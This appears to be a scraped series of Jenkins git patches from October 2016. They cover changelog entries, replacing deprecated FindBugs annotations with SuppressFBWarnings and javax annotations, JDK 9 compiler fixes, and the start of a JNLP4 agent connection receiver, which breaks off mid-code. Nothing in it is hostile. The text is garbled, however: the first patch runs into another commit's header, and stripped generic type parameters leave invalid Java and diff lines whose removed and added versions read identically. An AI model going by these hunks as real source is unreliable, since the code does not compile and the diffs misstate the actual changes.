.../model/BuildTimelineWidget/control.jelly | 49 +++++++++++-------- 1 file changed, 28 insertions(+), 21 deletions(-) diff --git a/core/src/main/resources/hudson/model/BuildTimelineWidget/control.jelly b/core/src/main/resources/hudson/model/BuildTimelineWidget/control.jelly index f695275f06..a9efb2525b 100644 --- a/core/src/main/resources/hudson/model/BuildTimelineWidget/control.jelly +++ b/core/src/main/resources/hudson/model/BuildTimelineWidget/control.jelly @@ -41,35 +41,42 @@ THE SOFTWARE. var tz = ${(tz.rawOffset + tz.DSTSavings) / 3600000}; var tl = null; + var interval = 24*60*60*1000; Date: Sat, 15 Oct 2016 10:44:02 -0700 Subject: [PATCH 384/811] Noting #2581, #2561, #2577, #1894, #2563 and #2585 --- changelog.html | 28 +++++++++++++++++++++++++++- 1 file changed, 27 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 390f05d082..5b40dddd3f 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,33 @@ Upcoming changes

                      What's new in 2.25 (2016/10/09)

                      -- GitLab From 7f6f495f866bc234fe5a54ce866e8b214ba693b2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Sat, 15 Oct 2016 21:53:56 +0200 Subject: [PATCH 385/811] Avoid deprecated findbugs annotations (#2144) * Avoid deprecated findbugs annotations * One more forgotten annotation --- core/src/main/java/hudson/UDPBroadcastThread.java | 4 ++-- core/src/main/java/hudson/Util.java | 4 ++-- core/src/main/java/hudson/WebAppMain.java | 2 +- core/src/main/java/hudson/cli/GroovyshCommand.java | 4 ++-- core/src/main/java/hudson/logging/LogRecorderManager.java | 2 +- core/src/main/java/hudson/model/Computer.java | 5 ++--- core/src/main/java/hudson/slaves/NodeSpecific.java | 5 +++-- core/src/main/java/hudson/slaves/SlaveComputer.java | 5 ++--- core/src/main/java/hudson/triggers/Trigger.java | 2 +- core/src/main/java/hudson/util/XStream2.java | 4 ++-- core/src/main/java/jenkins/model/Jenkins.java | 6 +++--- .../security/QueueItemAuthenticatorConfiguration.java | 4 ++-- .../jenkins/security/QueueItemAuthenticatorProvider.java | 6 ++---- core/src/main/java/jenkins/util/ProgressiveRendering.java | 2 +- core/src/test/java/hudson/slaves/ComputerLauncherTest.java | 3 +-- test/src/test/java/hudson/cli/CopyJobCommandTest.java | 2 -- test/src/test/java/hudson/cli/GetJobCommandTest.java | 2 -- test/src/test/java/hudson/model/FreeStyleProjectTest.java | 2 -- 18 files changed, 27 insertions(+), 37 deletions(-) diff --git a/core/src/main/java/hudson/UDPBroadcastThread.java b/core/src/main/java/hudson/UDPBroadcastThread.java index 6b399c5b26..03bdbc3bba 100644 --- a/core/src/main/java/hudson/UDPBroadcastThread.java +++ b/core/src/main/java/hudson/UDPBroadcastThread.java @@ -24,7 +24,7 @@ package hudson; import jenkins.util.SystemProperties; -import edu.umd.cs.findbugs.annotations.SuppressWarnings; +import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; import hudson.model.Hudson; import jenkins.model.Jenkins; import hudson.util.OneShotEvent; @@ -71,7 +71,7 @@ public class UDPBroadcastThread extends Thread { mcs = new MulticastSocket(PORT); } - @SuppressWarnings("ST_WRITE_TO_STATIC_FROM_INSTANCE_METHOD") + @SuppressFBWarnings("ST_WRITE_TO_STATIC_FROM_INSTANCE_METHOD") @Override public void run() { try { diff --git a/core/src/main/java/hudson/Util.java b/core/src/main/java/hudson/Util.java index f8e0205889..a6764f7fdf 100644 --- a/core/src/main/java/hudson/Util.java +++ b/core/src/main/java/hudson/Util.java @@ -27,7 +27,7 @@ import jenkins.util.SystemProperties; import com.sun.jna.Native; import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; -import edu.umd.cs.findbugs.annotations.SuppressWarnings; +import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; import hudson.Proc.LocalProc; import hudson.model.TaskListener; import hudson.os.PosixAPI; @@ -527,7 +527,7 @@ public class Util { return !fileInCanonicalParent.getCanonicalFile().equals( fileInCanonicalParent.getAbsoluteFile() ); } - @SuppressWarnings("NP_BOOLEAN_RETURN_NULL") + @SuppressFBWarnings("NP_BOOLEAN_RETURN_NULL") private static Boolean isSymlinkJava7(@Nonnull File file) throws IOException { try { Path path = file.toPath(); diff --git a/core/src/main/java/hudson/WebAppMain.java b/core/src/main/java/hudson/WebAppMain.java index b4a956513f..947363b78e 100644 --- a/core/src/main/java/hudson/WebAppMain.java +++ b/core/src/main/java/hudson/WebAppMain.java @@ -291,7 +291,7 @@ public class WebAppMain implements ServletContextListener { /** * Installs log handler to monitor all Hudson logs. */ - @edu.umd.cs.findbugs.annotations.SuppressWarnings("LG_LOST_LOGGER_DUE_TO_WEAK_REFERENCE") + @edu.umd.cs.findbugs.annotations.SuppressFBWarnings("LG_LOST_LOGGER_DUE_TO_WEAK_REFERENCE") private void installLogger() { Jenkins.logRecords = handler.getView(); Logger.getLogger("").addHandler(handler); diff --git a/core/src/main/java/hudson/cli/GroovyshCommand.java b/core/src/main/java/hudson/cli/GroovyshCommand.java index 2807d872d0..31f998d0aa 100644 --- a/core/src/main/java/hudson/cli/GroovyshCommand.java +++ b/core/src/main/java/hudson/cli/GroovyshCommand.java @@ -96,7 +96,7 @@ public class GroovyshCommand extends CLICommand { private static final long serialVersionUID = 1L; @SuppressWarnings("unused") - @edu.umd.cs.findbugs.annotations.SuppressWarnings(value="UMAC_UNCALLABLE_METHOD_OF_ANONYMOUS_CLASS",justification="Closure invokes this via reflection") + @edu.umd.cs.findbugs.annotations.SuppressFBWarnings(value="UMAC_UNCALLABLE_METHOD_OF_ANONYMOUS_CLASS",justification="Closure invokes this via reflection") public Object doCall(Object[] args) { assert(args.length == 1); assert(args[0] instanceof Shell); @@ -119,7 +119,7 @@ public class GroovyshCommand extends CLICommand { private static final long serialVersionUID = 1L; @SuppressWarnings("unused") - @edu.umd.cs.findbugs.annotations.SuppressWarnings(value="UMAC_UNCALLABLE_METHOD_OF_ANONYMOUS_CLASS",justification="Closure invokes this via reflection") + @edu.umd.cs.findbugs.annotations.SuppressFBWarnings(value="UMAC_UNCALLABLE_METHOD_OF_ANONYMOUS_CLASS",justification="Closure invokes this via reflection") public Object doCall(Object[] args) throws ChannelClosedException { if (args.length == 1 && args[0] instanceof ChannelClosedException) { throw (ChannelClosedException)args[0]; diff --git a/core/src/main/java/hudson/logging/LogRecorderManager.java b/core/src/main/java/hudson/logging/LogRecorderManager.java index e35a098d4b..698718634b 100644 --- a/core/src/main/java/hudson/logging/LogRecorderManager.java +++ b/core/src/main/java/hudson/logging/LogRecorderManager.java @@ -129,7 +129,7 @@ public class LogRecorderManager extends AbstractModelObject implements ModelObje /** * Configure the logging level. */ - @edu.umd.cs.findbugs.annotations.SuppressWarnings("LG_LOST_LOGGER_DUE_TO_WEAK_REFERENCE") + @edu.umd.cs.findbugs.annotations.SuppressFBWarnings("LG_LOST_LOGGER_DUE_TO_WEAK_REFERENCE") public HttpResponse doConfigLogger(@QueryParameter String name, @QueryParameter String level) { Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); Level lv; diff --git a/core/src/main/java/hudson/model/Computer.java b/core/src/main/java/hudson/model/Computer.java index 226ad5fb48..68482d4944 100644 --- a/core/src/main/java/hudson/model/Computer.java +++ b/core/src/main/java/hudson/model/Computer.java @@ -25,8 +25,6 @@ */ package hudson.model; -import edu.umd.cs.findbugs.annotations.OverrideMustInvoke; -import edu.umd.cs.findbugs.annotations.When; import hudson.EnvVars; import hudson.Extension; import hudson.Launcher.ProcStarter; @@ -88,6 +86,7 @@ import org.kohsuke.stapler.export.ExportedBean; import org.kohsuke.args4j.Option; import org.kohsuke.stapler.interceptor.RequirePOST; +import javax.annotation.OverridingMethodsMustInvokeSuper; import javax.annotation.concurrent.GuardedBy; import javax.servlet.ServletException; @@ -1534,7 +1533,7 @@ public /*transient*/ abstract class Computer extends Actionable implements Acces * @see hudson.slaves.RetentionStrategy#isAcceptingTasks(Computer) * @see hudson.model.Node#isAcceptingTasks() */ - @OverrideMustInvoke(When.ANYTIME) + @OverridingMethodsMustInvokeSuper public boolean isAcceptingTasks() { final Node node = getNode(); return getRetentionStrategy().isAcceptingTasks(this) && (node == null || node.isAcceptingTasks()); diff --git a/core/src/main/java/hudson/slaves/NodeSpecific.java b/core/src/main/java/hudson/slaves/NodeSpecific.java index 59ee2ca217..e40ef509df 100644 --- a/core/src/main/java/hudson/slaves/NodeSpecific.java +++ b/core/src/main/java/hudson/slaves/NodeSpecific.java @@ -24,10 +24,11 @@ package hudson.slaves; -import edu.umd.cs.findbugs.annotations.NonNull; import hudson.model.Node; import hudson.model.EnvironmentSpecific; import hudson.model.TaskListener; + +import javax.annotation.Nonnull; import java.io.IOException; /** @@ -45,5 +46,5 @@ public interface NodeSpecific> { /** * Returns a specialized copy of T for functioning in the given node. */ - T forNode(@NonNull Node node, TaskListener log) throws IOException, InterruptedException; + T forNode(@Nonnull Node node, TaskListener log) throws IOException, InterruptedException; } diff --git a/core/src/main/java/hudson/slaves/SlaveComputer.java b/core/src/main/java/hudson/slaves/SlaveComputer.java index 66e57ba76e..080af48bd0 100644 --- a/core/src/main/java/hudson/slaves/SlaveComputer.java +++ b/core/src/main/java/hudson/slaves/SlaveComputer.java @@ -23,8 +23,6 @@ */ package hudson.slaves; -import edu.umd.cs.findbugs.annotations.OverrideMustInvoke; -import edu.umd.cs.findbugs.annotations.When; import hudson.AbortException; import hudson.FilePath; import hudson.Util; @@ -68,6 +66,7 @@ import org.kohsuke.stapler.WebMethod; import org.kohsuke.stapler.interceptor.RequirePOST; import javax.annotation.CheckForNull; +import javax.annotation.OverridingMethodsMustInvokeSuper; import javax.servlet.ServletException; import java.io.File; import java.io.IOException; @@ -161,7 +160,7 @@ public class SlaveComputer extends Computer { * {@inheritDoc} */ @Override - @OverrideMustInvoke(When.ANYTIME) + @OverridingMethodsMustInvokeSuper public boolean isAcceptingTasks() { // our boolean flag is an override on any additional programmatic reasons why this agent might not be // accepting tasks. diff --git a/core/src/main/java/hudson/triggers/Trigger.java b/core/src/main/java/hudson/triggers/Trigger.java index 98f47b7322..1da137237c 100644 --- a/core/src/main/java/hudson/triggers/Trigger.java +++ b/core/src/main/java/hudson/triggers/Trigger.java @@ -60,7 +60,7 @@ import antlr.ANTLRException; import javax.annotation.CheckForNull; import javax.annotation.Nonnull; -import edu.umd.cs.findbugs.annotations.SuppressWarnings; +import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; import hudson.model.Items; import jenkins.model.ParameterizedJobMixIn; import org.jenkinsci.Symbol; diff --git a/core/src/main/java/hudson/util/XStream2.java b/core/src/main/java/hudson/util/XStream2.java index 4f3c7ba613..48d967880b 100644 --- a/core/src/main/java/hudson/util/XStream2.java +++ b/core/src/main/java/hudson/util/XStream2.java @@ -43,7 +43,7 @@ import com.thoughtworks.xstream.io.HierarchicalStreamDriver; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.mapper.CannotResolveClassException; -import edu.umd.cs.findbugs.annotations.SuppressWarnings; +import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; import hudson.PluginManager; import hudson.PluginWrapper; import hudson.diagnosis.OldDataMonitor; @@ -415,7 +415,7 @@ public class XStream2 extends XStream { private PluginManager pm; - @SuppressWarnings("NP_NULL_ON_SOME_PATH_FROM_RETURN_VALUE") // classOwnership checked for null so why does FB complain? + @SuppressFBWarnings("NP_NULL_ON_SOME_PATH_FROM_RETURN_VALUE") // classOwnership checked for null so why does FB complain? @Override public String ownerOf(Class clazz) { if (classOwnership != null) { return classOwnership.ownerOf(clazz); diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 36c10fb42d..af00e7c3a5 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -842,7 +842,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve * @param pluginManager * If non-null, use existing plugin manager. create a new one. */ - @edu.umd.cs.findbugs.annotations.SuppressWarnings({ + @edu.umd.cs.findbugs.annotations.SuppressFBWarnings({ "SC_START_IN_CTOR", // bug in FindBugs. It flags UDPBroadcastThread.start() call but that's for another class "ST_WRITE_TO_STATIC_FROM_INSTANCE_METHOD" // Trigger.timer }) @@ -3107,7 +3107,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve /** * Called to shut down the system. */ - @edu.umd.cs.findbugs.annotations.SuppressWarnings("ST_WRITE_TO_STATIC_FROM_INSTANCE_METHOD") + @edu.umd.cs.findbugs.annotations.SuppressFBWarnings("ST_WRITE_TO_STATIC_FROM_INSTANCE_METHOD") public void cleanUp() { if (theInstance != this && theInstance != null) { LOGGER.log(Level.WARNING, "This instance is no longer the singleton, ignoring cleanUp()"); @@ -3952,7 +3952,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve /** * For debugging. Expose URL to perform GC. */ - @edu.umd.cs.findbugs.annotations.SuppressWarnings("DM_GC") + @edu.umd.cs.findbugs.annotations.SuppressFBWarnings("DM_GC") @RequirePOST public void doGc(StaplerResponse rsp) throws IOException { checkPermission(Jenkins.ADMINISTER); diff --git a/core/src/main/java/jenkins/security/QueueItemAuthenticatorConfiguration.java b/core/src/main/java/jenkins/security/QueueItemAuthenticatorConfiguration.java index dfa8f95f63..03f609f163 100644 --- a/core/src/main/java/jenkins/security/QueueItemAuthenticatorConfiguration.java +++ b/core/src/main/java/jenkins/security/QueueItemAuthenticatorConfiguration.java @@ -1,6 +1,5 @@ package jenkins.security; -import edu.umd.cs.findbugs.annotations.NonNull; import hudson.Extension; import hudson.util.DescribableList; import jenkins.model.GlobalConfiguration; @@ -10,6 +9,7 @@ import net.sf.json.JSONObject; import org.jenkinsci.Symbol; import org.kohsuke.stapler.StaplerRequest; +import javax.annotation.Nonnull; import java.io.IOException; import java.util.List; @@ -59,7 +59,7 @@ public class QueueItemAuthenticatorConfiguration extends GlobalConfiguration { @Extension(ordinal = 100) public static class ProviderImpl extends QueueItemAuthenticatorProvider { - @NonNull + @Nonnull @Override public List getAuthenticators() { return get().getAuthenticators(); diff --git a/core/src/main/java/jenkins/security/QueueItemAuthenticatorProvider.java b/core/src/main/java/jenkins/security/QueueItemAuthenticatorProvider.java index 2b6529ddea..dbdca64a1a 100644 --- a/core/src/main/java/jenkins/security/QueueItemAuthenticatorProvider.java +++ b/core/src/main/java/jenkins/security/QueueItemAuthenticatorProvider.java @@ -1,13 +1,11 @@ package jenkins.security; -import edu.umd.cs.findbugs.annotations.NonNull; import hudson.Extension; import hudson.ExtensionList; import hudson.ExtensionPoint; -import jenkins.model.Jenkins; +import javax.annotation.Nonnull; import java.util.ArrayList; -import java.util.Collections; import java.util.Iterator; import java.util.List; import java.util.NoSuchElementException; @@ -21,7 +19,7 @@ import java.util.NoSuchElementException; */ public abstract class QueueItemAuthenticatorProvider implements ExtensionPoint { - @NonNull + @Nonnull public abstract List getAuthenticators(); public static Iterable authenticators() { diff --git a/core/src/main/java/jenkins/util/ProgressiveRendering.java b/core/src/main/java/jenkins/util/ProgressiveRendering.java index 22afed60d6..77582d74ce 100644 --- a/core/src/main/java/jenkins/util/ProgressiveRendering.java +++ b/core/src/main/java/jenkins/util/ProgressiveRendering.java @@ -24,7 +24,7 @@ package jenkins.util; -import edu.umd.cs.findbugs.annotations.SuppressWarnings; +import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; diff --git a/core/src/test/java/hudson/slaves/ComputerLauncherTest.java b/core/src/test/java/hudson/slaves/ComputerLauncherTest.java index d1533420de..56ea7bfa61 100644 --- a/core/src/test/java/hudson/slaves/ComputerLauncherTest.java +++ b/core/src/test/java/hudson/slaves/ComputerLauncherTest.java @@ -24,17 +24,16 @@ package hudson.slaves; -import edu.umd.cs.findbugs.annotations.SuppressWarnings; import java.io.BufferedReader; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.PrintStream; import java.io.StringReader; + import org.apache.commons.io.output.NullOutputStream; import org.junit.Test; import static org.junit.Assert.*; -@SuppressWarnings("DM_DEFAULT_ENCODING") public class ComputerLauncherTest { @Test public void jdk7() throws IOException { diff --git a/test/src/test/java/hudson/cli/CopyJobCommandTest.java b/test/src/test/java/hudson/cli/CopyJobCommandTest.java index 8d34edcd8e..ac9218a71f 100644 --- a/test/src/test/java/hudson/cli/CopyJobCommandTest.java +++ b/test/src/test/java/hudson/cli/CopyJobCommandTest.java @@ -24,7 +24,6 @@ package hudson.cli; -import edu.umd.cs.findbugs.annotations.SuppressWarnings; import static hudson.cli.CLICommandInvoker.Matcher.*; import hudson.model.AbstractItem; import hudson.model.FreeStyleProject; @@ -47,7 +46,6 @@ import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; import org.jvnet.hudson.test.MockFolder; -@SuppressWarnings("DM_DEFAULT_ENCODING") public class CopyJobCommandTest { @Rule public JenkinsRule j = new JenkinsRule(); diff --git a/test/src/test/java/hudson/cli/GetJobCommandTest.java b/test/src/test/java/hudson/cli/GetJobCommandTest.java index cc36bff8b1..8a52cfed0c 100644 --- a/test/src/test/java/hudson/cli/GetJobCommandTest.java +++ b/test/src/test/java/hudson/cli/GetJobCommandTest.java @@ -24,7 +24,6 @@ package hudson.cli; -import edu.umd.cs.findbugs.annotations.SuppressWarnings; import hudson.model.FreeStyleProject; import java.io.ByteArrayOutputStream; import java.io.PrintStream; @@ -38,7 +37,6 @@ import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; import org.jvnet.hudson.test.MockFolder; -@SuppressWarnings("DM_DEFAULT_ENCODING") public class GetJobCommandTest { @Rule public JenkinsRule j = new JenkinsRule(); diff --git a/test/src/test/java/hudson/model/FreeStyleProjectTest.java b/test/src/test/java/hudson/model/FreeStyleProjectTest.java index ba1b494a09..e24b4b0049 100644 --- a/test/src/test/java/hudson/model/FreeStyleProjectTest.java +++ b/test/src/test/java/hudson/model/FreeStyleProjectTest.java @@ -34,7 +34,6 @@ import static org.junit.Assert.assertTrue; import com.gargoylesoftware.htmlunit.html.HtmlForm; import com.gargoylesoftware.htmlunit.html.HtmlPage; -import edu.umd.cs.findbugs.annotations.SuppressWarnings; import hudson.tasks.Builder; import hudson.tasks.Shell; import java.io.ByteArrayInputStream; @@ -115,7 +114,6 @@ public class FreeStyleProjectTest { @Test @Issue("JENKINS-15817") - @SuppressWarnings("DM_DEFAULT_ENCODING") public void minimalConfigXml() throws Exception { // Make sure it can be created without exceptions: FreeStyleProject project = (FreeStyleProject) j.jenkins.createProjectFromXML("stuff", new ByteArrayInputStream("".getBytes())); -- GitLab From 0ab4f2a69655db6265c72e99fba598bbe40f35a0 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sat, 15 Oct 2016 22:16:39 +0200 Subject: [PATCH 386/811] Fix formatting --- changelog.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 5b40dddd3f..0c35c8b29c 100644 --- a/changelog.html +++ b/changelog.html @@ -57,7 +57,7 @@ Upcoming changes

                      What's new in 2.25 (2016/10/09)

                      • -- GitLab From 6cad673583d71fb65a76ac7a49307d813f05fa13 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 17 Oct 2016 13:04:01 +0200 Subject: [PATCH 395/811] Changelog: Noting #1943, #2413, #1933, #2578 --- changelog.html | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index e0644a3ea3..a3123ac384 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,9 @@ Upcoming changes

                        What's new in 2.26 (2016/10/17)

                        @@ -71,6 +73,10 @@ Upcoming changes
                      • Performance: Update XStream driver to improve performance of XML serilization/deserialization. (pull 2561) +
                      • + Harden checks of prohibited names in user creation logic. + Untrimmed spaces and different letter cases are being checked now. + (issue 35967)
                      • Performance: Fix the performance of file compress/uncompress operations over the remoting channel. (issue 38640, @@ -96,9 +102,15 @@ Upcoming changes
                      • Cleanup spelling in CLI help and error messages. (issue 38650) +
                      • + Properly handle quotes and other special symbols in item names during form validation. + (issue 31871)
                      • Internal: Invoke hpi:record-core-location during the build in order to enabled coordinated run accross repositories. (pull 1894) +
                      • + Internal: Bulk cleanup of @since definitions in Javadoc. + (pull 2578)

                      What's new in 2.25 (2016/10/09)

                        -- GitLab From 441bf1c2553d76425f9834906e63415eea6f391f Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 17 Oct 2016 16:27:49 -0400 Subject: [PATCH 396/811] Placate the JDK 9 compiler. --- core/src/main/java/hudson/model/Job.java | 4 ++-- core/src/main/java/hudson/model/ParametersAction.java | 6 +++--- core/src/main/java/hudson/tools/ToolDescriptor.java | 2 +- core/src/main/java/hudson/util/CopyOnWriteList.java | 2 +- core/src/main/java/hudson/util/Iterators.java | 9 ++++++--- .../main/java/jenkins/model/InterruptedBuildAction.java | 2 +- 6 files changed, 14 insertions(+), 11 deletions(-) diff --git a/core/src/main/java/hudson/model/Job.java b/core/src/main/java/hudson/model/Job.java index f66ef21095..4c260e1ed0 100644 --- a/core/src/main/java/hudson/model/Job.java +++ b/core/src/main/java/hudson/model/Job.java @@ -698,7 +698,7 @@ public abstract class Job, RunT extends Run getBuilds() { - return RunList.fromRuns(_getRuns().values()); + return RunList.fromRuns(_getRuns().values()); } /** @@ -730,7 +730,7 @@ public abstract class Job, RunT extends Run getBuildsAsMap() { - return Collections.unmodifiableSortedMap(_getRuns()); + return Collections.unmodifiableSortedMap(_getRuns()); } /** diff --git a/core/src/main/java/hudson/model/ParametersAction.java b/core/src/main/java/hudson/model/ParametersAction.java index eace930a44..be29fc4b04 100644 --- a/core/src/main/java/hudson/model/ParametersAction.java +++ b/core/src/main/java/hudson/model/ParametersAction.java @@ -50,7 +50,7 @@ import java.util.TreeSet; import java.util.logging.Level; import java.util.logging.Logger; -import static com.google.common.collect.Lists.newArrayList; +import com.google.common.collect.Lists; import static com.google.common.collect.Sets.newHashSet; import javax.annotation.CheckForNull; import javax.annotation.Nonnull; @@ -169,7 +169,7 @@ public class ParametersAction implements RunAction2, Iterable, Q @Exported(visibility=2) public List getParameters() { - return Collections.unmodifiableList(filter(parameters)); + return Collections.unmodifiableList(filter(parameters)); } public ParameterValue getParameter(String name) { @@ -231,7 +231,7 @@ public class ParametersAction implements RunAction2, Iterable, Q parametersAction.safeParameters = this.safeParameters; return parametersAction; } - List combinedParameters = newArrayList(overrides); + List combinedParameters = Lists.newArrayList(overrides); Set names = newHashSet(); for(ParameterValue v : overrides) { diff --git a/core/src/main/java/hudson/tools/ToolDescriptor.java b/core/src/main/java/hudson/tools/ToolDescriptor.java index 3bf153f234..3c944d86dc 100644 --- a/core/src/main/java/hudson/tools/ToolDescriptor.java +++ b/core/src/main/java/hudson/tools/ToolDescriptor.java @@ -100,7 +100,7 @@ public abstract class ToolDescriptor extends Descrip * Lists up {@link ToolPropertyDescriptor}s that are applicable to this {@link ToolInstallation}. */ public List getPropertyDescriptors() { - return PropertyDescriptor.for_(ToolProperty.all(),clazz); + return PropertyDescriptor.for_(ToolProperty.all(), clazz); } diff --git a/core/src/main/java/hudson/util/CopyOnWriteList.java b/core/src/main/java/hudson/util/CopyOnWriteList.java index 43e189ba19..4e6af51dc6 100644 --- a/core/src/main/java/hudson/util/CopyOnWriteList.java +++ b/core/src/main/java/hudson/util/CopyOnWriteList.java @@ -143,7 +143,7 @@ public class CopyOnWriteList implements Iterable { } public List getView() { - return Collections.unmodifiableList(core); + return Collections.unmodifiableList(core); } public void addAllTo(Collection dst) { diff --git a/core/src/main/java/hudson/util/Iterators.java b/core/src/main/java/hudson/util/Iterators.java index 2b5d88f74b..74d82950dc 100644 --- a/core/src/main/java/hudson/util/Iterators.java +++ b/core/src/main/java/hudson/util/Iterators.java @@ -24,6 +24,7 @@ package hudson.util; import com.google.common.base.Predicates; +import com.google.common.collect.ImmutableList; import java.util.Collections; import java.util.Iterator; @@ -314,12 +315,13 @@ public class Iterators { *

                        * That is, this creates {A,B,C,D} from {A,B},{C,D}. */ + @SafeVarargs public static Iterable sequence( final Iterable... iterables ) { return new Iterable() { public Iterator iterator() { - return new FlattenIterator>(Arrays.asList(iterables)) { + return new FlattenIterator>(ImmutableList.copyOf(iterables)) { protected Iterator expand(Iterable iterable) { - return cast(iterable).iterator(); + return Iterators.cast(iterable).iterator(); } }; } @@ -350,8 +352,9 @@ public class Iterators { }; } + @SafeVarargs public static Iterator sequence(Iterator... iterators) { - return com.google.common.collect.Iterators.concat(iterators); + return com.google.common.collect.Iterators.concat(iterators); } /** diff --git a/core/src/main/java/jenkins/model/InterruptedBuildAction.java b/core/src/main/java/jenkins/model/InterruptedBuildAction.java index b5f9c6b6f5..c734d58bbb 100644 --- a/core/src/main/java/jenkins/model/InterruptedBuildAction.java +++ b/core/src/main/java/jenkins/model/InterruptedBuildAction.java @@ -43,7 +43,7 @@ public class InterruptedBuildAction extends InvisibleAction { private final List causes; public InterruptedBuildAction(Collection causes) { - this.causes = ImmutableList.copyOf(causes); + this.causes = ImmutableList.copyOf(causes); } @Exported -- GitLab From 71cbe0cc7c601c04509faa618b23194335288fee Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Thu, 20 Oct 2016 12:01:30 +0100 Subject: [PATCH 397/811] [JENKINS-36871, JENKINS-37565] JNLP4-connect implementation and Remoting 3 (#2492) * [JENKINS-36871] Switch to the new JnlpProtocolHandler based implementation Todo - [ ] Restore the cookie behaviour (but done right this time) - [ ] Perhaps investigate issuing clients with TLS certificates (but would require a UI for managing them) * [JENKINS-36871] License headers and javadocs * [JENKINS-36871] Restore cookie handling * [JENKINS-36871] Integrating Agent discovery components * [JENKINS-36871] Pick up remoting 3.0-SNAPSHOT * [JENKINS-36871] Pick up newer snapshot * [JENKINS-36871] Oleg wants to log an exception that cannot happen --- .../slaves/DefaultJnlpSlaveReceiver.java | 148 ++++++++----- .../java/jenkins/slaves/IOHubProvider.java | 71 +++++++ .../jenkins/slaves/JnlpAgentReceiver.java | 90 ++++---- .../slaves/JnlpSlaveAgentProtocol.java | 146 ++++--------- .../slaves/JnlpSlaveAgentProtocol2.java | 74 +++---- .../slaves/JnlpSlaveAgentProtocol3.java | 118 +++------- .../slaves/JnlpSlaveAgentProtocol4.java | 201 ++++++++++++++++++ .../jenkins/slaves/JnlpSlaveHandshake.java | 22 -- .../JnlpSlaveAgentProtocol4/description.jelly | 4 + .../jenkins/slaves/Messages.properties | 1 + .../slaves/DefaultJnlpSlaveReceiverTest.java | 145 ------------- pom.xml | 2 +- 12 files changed, 502 insertions(+), 520 deletions(-) create mode 100644 core/src/main/java/jenkins/slaves/IOHubProvider.java create mode 100644 core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java delete mode 100644 core/src/main/java/jenkins/slaves/JnlpSlaveHandshake.java create mode 100644 core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.jelly delete mode 100644 core/src/test/java/jenkins/slaves/DefaultJnlpSlaveReceiverTest.java diff --git a/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java b/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java index f82ad9ca18..f6365b212c 100644 --- a/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java +++ b/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java @@ -1,22 +1,31 @@ package jenkins.slaves; +import edu.umd.cs.findbugs.annotations.NonNull; import hudson.Extension; import hudson.TcpSlaveAgentListener.ConnectionFromCurrentPeer; import hudson.Util; +import hudson.model.Computer; import hudson.model.Slave; import hudson.remoting.Channel; +import hudson.slaves.JNLPLauncher; import hudson.slaves.SlaveComputer; +import java.io.OutputStream; +import java.io.PrintWriter; +import javax.annotation.CheckForNull; +import javax.annotation.Nonnull; import jenkins.model.Jenkins; -import org.jenkinsci.remoting.engine.JnlpServerHandshake; +import jenkins.security.ChannelConfigurator; +import org.apache.commons.io.IOUtils; +import org.jenkinsci.remoting.engine.JnlpConnectionState; import java.io.IOException; import java.security.SecureRandom; -import java.util.Properties; import java.util.concurrent.ExecutionException; import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeoutException; import java.util.logging.Level; import java.util.logging.Logger; +import org.jenkinsci.remoting.protocol.impl.ConnectionRefusalException; /** * Match the name against the agent name and route the incoming JNLP agent as {@link Slave}. @@ -27,81 +36,108 @@ import java.util.logging.Logger; */ @Extension public class DefaultJnlpSlaveReceiver extends JnlpAgentReceiver { + @Override - public boolean handle(String nodeName, JnlpServerHandshake handshake) throws IOException, InterruptedException { - SlaveComputer computer = (SlaveComputer) Jenkins.getInstance().getComputer(nodeName); + public boolean owns(String clientName) { + Computer computer = Jenkins.getInstance().getComputer(clientName); + return computer != null; + } - if (computer==null) { - return false; + @Override + public void afterProperties(@NonNull JnlpConnectionState event) { + String clientName = event.getProperty(JnlpConnectionState.CLIENT_NAME_KEY); + SlaveComputer computer = (SlaveComputer) Jenkins.getInstance().getComputer(clientName); + if (computer == null || !(computer.getLauncher() instanceof JNLPLauncher)) { + event.reject(new ConnectionRefusalException(String.format("%s is not a JNLP agent", clientName))); + return; } - Channel ch = computer.getChannel(); - if (ch !=null) { - String c = handshake.getRequestProperty("Cookie"); - if (c!=null && c.equals(ch.getProperty(COOKIE_NAME))) { + if (ch != null) { + String cookie = event.getProperty(JnlpConnectionState.COOKIE_KEY); + if (cookie != null && cookie.equals(ch.getProperty(COOKIE_NAME))) { // 